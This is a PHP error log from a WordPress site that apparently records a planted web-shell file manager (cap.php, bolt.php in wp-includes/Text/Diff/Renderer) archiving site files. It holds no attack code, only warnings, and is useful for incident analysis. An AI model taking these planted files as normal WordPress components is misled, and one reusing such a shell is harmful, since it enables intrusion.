[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
